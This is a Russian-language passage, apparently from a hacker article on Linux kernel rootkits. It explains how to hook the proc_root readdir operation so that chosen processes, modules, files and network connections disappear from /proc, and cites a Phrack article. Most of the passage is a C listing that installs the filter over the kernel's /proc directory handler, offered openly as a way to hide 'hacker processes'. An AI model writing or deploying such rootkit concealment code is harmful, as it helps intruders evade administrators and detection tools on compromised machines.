Перехват запросов к файловой системе
Ядро экспортирует переменную proc_root — корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик, скрывающий хакерские процессы от чужих глаз. В отличии от системных вызовов, перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество!
Простейший перехватчик может выглядеть так (за более подробной информацией обращайтесь к статье "Sub proc_root Quando Sumus", опубликованной в 3Ah номере PHRACK'a):
// глобальный указатель на оригинальную filldir-функцию
filldir_t real_filldir;
static int new_filldir_root (void* __buf,const char* name,int namlen,off_t offset, ino_t ino)
{
// анализируем каждое имя в директории,
// если это имя того модуля/процесса/файла/сетевого соединения,
// которое мы хотим скрыть, возвращаем нуль,
// в противном случае передаем управление оригинальной
// filldir-функции
if (isHidden (name)) return 0;
return real_filldir (__buf, name, namlen, offset, ino);
}
// новая функция readdir
int new_readdir_root (struct file *a, void *b, filldir_t c)
{
// инициализируем указатель на оригинальную filldir-функцию
// вообще-то, это необязательно делать каждый раз, просто
// так нам так проще…
real_filldir = c;
return old_readdir_root (a, b, new_filldir_root);
}
// устанавливаем свой собственный фильтр
proc_root.FILE_OPS->readdir = new_readdir_root;
Листинг 8 новый фильтр для файловой системы proc_root